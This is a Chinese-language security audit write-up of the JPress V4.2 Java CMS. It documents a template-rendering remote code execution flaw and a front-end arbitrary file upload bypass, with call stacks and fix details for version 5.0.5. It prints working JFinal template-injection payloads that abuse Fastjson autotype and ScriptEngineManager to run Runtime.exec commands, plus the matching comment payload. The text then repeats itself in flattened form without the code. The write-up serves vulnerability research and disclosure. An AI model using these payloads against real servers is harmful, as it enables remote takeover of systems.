jpress代码审计分享
字数 1395 2025-08-26 22:11:45

JPress V4.2 代码审计报告

0x01 前言

JPress是一个基于Java开发的类似WordPress的内容管理系统,使用jBoot框架(类似于SpringBoot)。本文档将详细分析JPress V4.2版本中的安全漏洞,包括模板渲染引起的RCE漏洞和前台任意文件上传漏洞。

0x02 环境搭建

环境准备

  1. 项目地址:https://github.com/JPressProjects/jpress
  2. 下载V4.2版本
  3. 执行命令:mvn clean package

常见问题解决:

  • 遇到maven-jar-plugin执行失败时,删除maven仓库所有库后重新执行
  • 创建数据库时不需导入文件或修改配置
  • 安装完成后访问:http://localhost:8080/install
  • 端口修改:在undertow.txt中修改

0x03 代码审计

架构理解

  • 分为前台页面和后台管理界面
  • 前台页面为纯前端内容
  • 后台管理界面漏洞点较多
  • 需要在"模板"→"所有模板"中选择模板才能在前台看到漏洞回显

组件审计

  • 查看pom.xml发现使用最新版本组件,理论上不存在组件漏洞
  • 项目中不存在Filter,可能存在SQL注入或XSS漏洞
  • 多module结构,需对不同功能模块分别审计

模板渲染引起的RCE漏洞

影响接口

  • /admin/article/setting
  • /admin/page/setting
  • /admin/product/setting
  • /admin/template/edit

漏洞分析

  1. 触发点:文章评论功能中的"评论邮件通知管理员"模板
  2. 使用Velocity模板引擎,支持#(comment.id)等表达式
  3. 相关类:io.jpress.module.article.controller.front.ArticleController
  4. 关键方法:postComment()notify()doSendEmail()

调用栈:

eval:81, Method (com.jfinal.template.expr.ast)
assignVariable:102, Assign (com.jfinal.template.expr.ast)
eval:95, Assign (com.jfinal.template.expr.ast)
exec:57, Set (com.jfinal.template.stat.ast)
exec:68, StatList (com.jfinal.template.stat.ast)
render:74, Template (com.jfinal.template)
renderToString:91, Template (com.jfinal.template)
doSendEmail:91, ArticleNotifyKit (io.jpress.module.article.kit)

漏洞利用

初始PoC(存在引号问题):

#set(x=net.sf.ehcache.util.ClassLoaderUtil::createNewInstance("javax.script.ScriptEngineManager"))
#set(e=x.getEngineByName("js"))
#(e.eval('java.lang.Runtime.getRuntime().exec("calc")'))

改进PoC(利用Fastjson特性):

#set(str=comment.content)
#set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance()) 
#(x.setAutoTypeSupport(true)) 
#set(sem=str.substring(0, str.indexOf(124)))
#set(str=str.substring(str.indexOf(124)+1))
#(x.addAccept(sem)) 
#set(json=str.substring(0, str.indexOf(124)))
#set(str=str.substring(str.indexOf(124)+1))
#set(x=com.alibaba.fastjson.JSON::parse(json))
#set(js=str.substring(0, str.indexOf(124)))
#set(str=str.substring(str.indexOf(124)+1))
#set(e=x.getEngineByName(js)) 
#(e.eval(str))

评论内容payload:

javax.script.ScriptEngineManager|{"@type":"javax.script.ScriptEngineManager"}|js|java.lang.Runtime.getRuntime().exec("calc")

漏洞修复(V5.0.5版本)

  1. getPara()方法处进行转义处理
  2. 调用escapeHtml()replaceEach()方法转义恶意字符
  3. 调用栈:
    cleanXss:79, XSSHttpServletRequestWrapper (io.jboot.web.xss)
    getParameter:32, XSSHttpServletRequestWrapper (io.jboot.web.xss)
    getParameter:161, ServletRequestWrapper (javax.servlet)
    getPara:189, Controller (com.jfinal.core)
    postComment:148, ArticleController (io.jpress.module.article.controller.front)
    

前台任意文件上传漏洞

影响接口

  • /ucenter/avatar

漏洞分析

  1. 相关类:io.jpress.web.commons.controller.AttachmentController#upload
  2. 根本原因:允许上传file[]数组而非单个文件,可构造多个文件同时上传绕过检测
  3. 上传路径:/attachment文件夹
  4. 限制:上传jsp/jspx会被JFinalFilter拦截

漏洞利用

通过上传多个文件,使后续文件绕过恶意文件检测

总结

  1. 模板渲染RCE漏洞危害严重,可导致服务器完全沦陷
  2. 文件上传漏洞虽有限制但仍存在风险
  3. 建议升级到最新版本(V5.0.5及以上)
  4. 开发时应严格过滤用户输入,特别是模板渲染和文件上传功能

附录

相关技术点

  1. Velocity模板引擎语法
  2. Fastjson反序列化特性
  3. Java反射机制
  4. 文件上传安全防护

参考链接

  1. JPress官方GitHub仓库
  2. Velocity模板引擎文档
  3. Fastjson安全公告
JPress V4.2 代码审计报告 0x01 前言 JPress是一个基于Java开发的类似WordPress的内容管理系统,使用jBoot框架(类似于SpringBoot)。本文档将详细分析JPress V4.2版本中的安全漏洞,包括模板渲染引起的RCE漏洞和前台任意文件上传漏洞。 0x02 环境搭建 环境准备 项目地址:https://github.com/JPressProjects/jpress 下载V4.2版本 执行命令: mvn clean package 常见问题解决: 遇到 maven-jar-plugin 执行失败时,删除maven仓库所有库后重新执行 创建数据库时不需导入文件或修改配置 安装完成后访问:http://localhost:8080/install 端口修改:在undertow.txt中修改 0x03 代码审计 架构理解 分为前台页面和后台管理界面 前台页面为纯前端内容 后台管理界面漏洞点较多 需要在"模板"→"所有模板"中选择模板才能在前台看到漏洞回显 组件审计 查看pom.xml发现使用最新版本组件,理论上不存在组件漏洞 项目中不存在Filter,可能存在SQL注入或XSS漏洞 多module结构,需对不同功能模块分别审计 模板渲染引起的RCE漏洞 影响接口 /admin/article/setting /admin/page/setting /admin/product/setting /admin/template/edit 漏洞分析 触发点:文章评论功能中的"评论邮件通知管理员"模板 使用Velocity模板引擎,支持 #(comment.id) 等表达式 相关类: io.jpress.module.article.controller.front.ArticleController 关键方法: postComment() → notify() → doSendEmail() 调用栈: 漏洞利用 初始PoC(存在引号问题): 改进PoC(利用Fastjson特性): 评论内容payload: 漏洞修复(V5.0.5版本) 在 getPara() 方法处进行转义处理 调用 escapeHtml() → replaceEach() 方法转义恶意字符 调用栈: 前台任意文件上传漏洞 影响接口 /ucenter/avatar 漏洞分析 相关类: io.jpress.web.commons.controller.AttachmentController#upload 根本原因:允许上传file[ ]数组而非单个文件,可构造多个文件同时上传绕过检测 上传路径:/attachment文件夹 限制:上传jsp/jspx会被JFinalFilter拦截 漏洞利用 通过上传多个文件,使后续文件绕过恶意文件检测 总结 模板渲染RCE漏洞危害严重,可导致服务器完全沦陷 文件上传漏洞虽有限制但仍存在风险 建议升级到最新版本(V5.0.5及以上) 开发时应严格过滤用户输入,特别是模板渲染和文件上传功能 附录 相关技术点 Velocity模板引擎语法 Fastjson反序列化特性 Java反射机制 文件上传安全防护 参考链接 JPress官方GitHub仓库 Velocity模板引擎文档 Fastjson安全公告